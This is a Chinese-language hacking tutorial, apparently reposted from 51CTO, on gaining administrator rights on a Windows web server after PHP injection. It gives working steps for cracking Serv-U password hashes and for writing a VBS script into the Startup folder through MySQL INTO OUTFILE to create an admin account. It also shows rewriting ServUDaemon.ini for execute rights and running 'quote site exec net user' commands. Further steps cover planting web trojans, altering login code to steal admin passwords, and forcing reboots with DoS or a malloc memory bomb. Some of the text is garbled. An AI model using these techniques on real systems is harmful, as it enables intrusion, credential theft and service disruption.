php提权:php注射后的提权

来源: 51CTO.com

思路方法:爆破法．

最显眼要属用户名和密码了关键是如何破密码呢？到网上搜了个专门破SERV-U密码工具(Serv-UPassCrack1.0a.rar)太慢了这要等到何年何月啊！干脆用记事本打开它脚本crack.vbs．看看解密原理:假设原来明文密码用"password_mingwen"表示密文密码也就是我们在ServUDaemon.ini中看到密码(34位)用"password_miwen"表示,密文前两位合并上明文然后经MD5加密后正好等于密文后 3十 2位！】

即:md5(password_mingwen+left(password_miwen,2)=right(password_miwen,32)俗话说好啊"工欲善其事必先利其器"在网上找了两上绝配工具！个是MD5CrackSpV2.3(速度增强版,个非常好用MD5爆破工具)另个是字典专家.BBSt,利用它我们可以生成前两位为我们指定字母字典！！MD5CrackSpV2.3速度奇快,我们可以指定开线程数,我在P4,256M内存环境下做了个测试,利用字典专家.BBSt生成个含3亿条记录,1.2G左右字典,用MD5CrackSpV2.3开8线程跑,总共用了30分钟!个线程秒钟跑大约2万条记录,8个线程秒钟,就是16万条记录!!照此计算台机器天就能跑约138亿条记录!假如有十台P4连合作业,威力无穷啊!同时在网上看到消息说山东大学已经研究出来了破解MD5算法！但是没有找到具体旦出世,密而不密,恐怕很多网站WebSite又要遭殃了!!

思路方法 2:法．

在c:\ProgramFiles\Serv-U\ServUDaemon.ini文件中共有十多位用户其中有个用户目录:"d:\s***n\a***lover\photo\gallery"吸引了我立即在浏览器中打上http://www.*****.net/a***lover/photo/gallery出现如下提示:"ThisVirtualDirectorydoesnotallowcontentstobelisted"在试试它上级目录看看:http://www.*****.net/a***lover/photo/真是山重水复疑无路柳暗花明又村啊！原来在机子里还藏着个某某498)this.style.width=498;" border=0>

行Sftp -I 211.92.***.*** -u b*****b -p ****** -t 1 -o 1 -p 21后没有溢出成功看来是管理员打了补丁！哪只好想别办法了！(-I 表示ip地址,-u 用户名,-p 密码-o操作系统类型,-p 端口号) 以下整理总结了几种提升权限思路方法供大参考:

思路方法、打开牛族MYSQL连接器在命令行上输入:
user download;
create table cmdphp (cmd TEXT);
insert o cmdphp values(" wshshell=createobject(\"wscript.shell\")");
insert o cmdphp values("a=wshshell.run(\"cmd.exe /c net user hello hello\",0)");
insert o cmdphp values("b=wshshell.run(\"cmd.exe /c net user localgroup administrators hello /add\",0)");
select * from cmdphp o outfile "c:\\Documents and Settings\\Administrator\\[开始]菜单\\\\启动\\cmdphp.vbs";
注 意:在路径中要用"\\"而不是"\"要加双引号时前面必需加"\"

原理是:我们在download数据库中建了个表cmdphp表中共个 字段cmd我们把要执行命令写到表中然后在在表中导出到启动菜单中！这样只要重起后我们就会得到个管理员级用户hello了d:\ s***n\a***lover\photo\gallery

思路方法 2、修改SERV-U文件ServUDaemon.ini中相应内容:

Password=hq50AAF4CB3FA4EF89C9E9D605B20B2971
HomeDir=c:\
RelPaths=1
TimeOut=600
Access1=D:\s***n\ a***lover\photo\gallery |RWAMELCDP
Maenance=
SKEYValues=

把密码换成我们知道密码把主目录换成c:\Access1后目录可以不用换这样使管理员在SERV-U里看起来还是以前目录名 |RWAMELCDP这串是关键我们比以前多加了个"E"代表我们有"执行"权限Maenance=表示我们身份是管理员

在本地设置好后就开始想办法替换掉它文件？首先利用我哪个cmd.php SHELL上传文件功能先把它上传到d:\s***n\a***lover\photo\gallery目录(上传成功后文件和SHELL在同目 录)下同样再打开牛族MYSQL连接器:
user download;
create table servu (cmd TEXT);
load data infile "d:\\s***n\\a***lover\\photo\\gallery\\ServUDaemon.ini;
select * from servu o outfile "C:\Program Files\Serv-U\ServUDaemon.ini";

条件是SERV-U重启后我们哪个用户就是管理员了而且在C盘根目录下具有可执行权限登上SERV-U服务器上执行如下命令:
quote site exec net.exe user hello hello /add
quote site exec net.exe localgroup administrators hello /add

这样我们就得到了个管理员级用户hello如果没有开3389我们可以利用PUT上传给它上传个3389.EXE,然后用quote执行后就可以用 3389登录器连接了！同样我们也可以利用另外个小工具xyzcmd.exe在DOS下登录会得到个CMDSHELL.

思路方法 3:由于管理员在PHP.INI中做了些限制上传PHPSHELL没法执行外部命令

利用CMD.PHP浏览命令你可以在它上面找到它PHP和SERV- U安装DOWN下来在本机上模拟它环境配置自己PHP.INI文件使它能够执行外部命令解释ASP和CGI然后利用思路方法 2替换掉它 PHP.INI文件也有个条件就是WEB重启后才能生效我们需要个小东西－FPIPE.EXE端口重定向工具！fpipe -v -l 5210 -s 5209 -r 43958 127.0.0.1(把本机43958端口通过5209端口转发到5210端口)打开你本地SERV-U添加台服务器来连接5210,填上服务 器IP监听端口号5210填上帐户和密码！  user:LocalAdministratorpass:#l@$ak#.lk;0@P全部搞定后来连接SERV-U连接成功后我们就对此服务器SERV-U有了完全控制权限！然后登录上 SERV-U加管理员用户就OK了！

思路方法 4:社会工程学加网页木马!

在04年黑防第6期我朋友血汉网页木马让你肉鸡成群文中讲了许多 做木马思路方法在这里就不啰嗦了省老独说转稿费哈哈！把"马"传上去后可以在论坛里发个贴子如"管理员我发现了此网站WebSite个漏洞！"或"管理员我 对网站WebSite有几点建议"估计不久真会成为"养鸡专业户了"建议不要改人家主页来不好 2来如果挂在主页上管理员看到后不定会点开！还有更隐蔽 招就是修改源(估计般管理员不会没事读源吧^_^)找到网站WebSite登录加段可以根据ID来判断是管理员如果是把他密码(在 如MD5加密前)插入到你信箱或QQ等字段中这样你可以打开你用户资料来看了！！

接下来谈谈如何叫服务器重起:

思路方法、我非常建议用思路方法哪就是DOS攻击！
思路方法 2、如果你上传SHELL能执行命令！可以传个很简单C让它不断地MALLOC分配内存而且不FREE
＃i nclude
＃i nclude

{for(; ;) malloc(0xffffff);}
思路方法 3、如果些网站WebSite是PHP不能执行外部命令(我们上传上去可执行文件不能运行)！

延伸阅读

• 2008-11-14-- php上传多个文件:在同一窗体中使用PHP来处理多个提..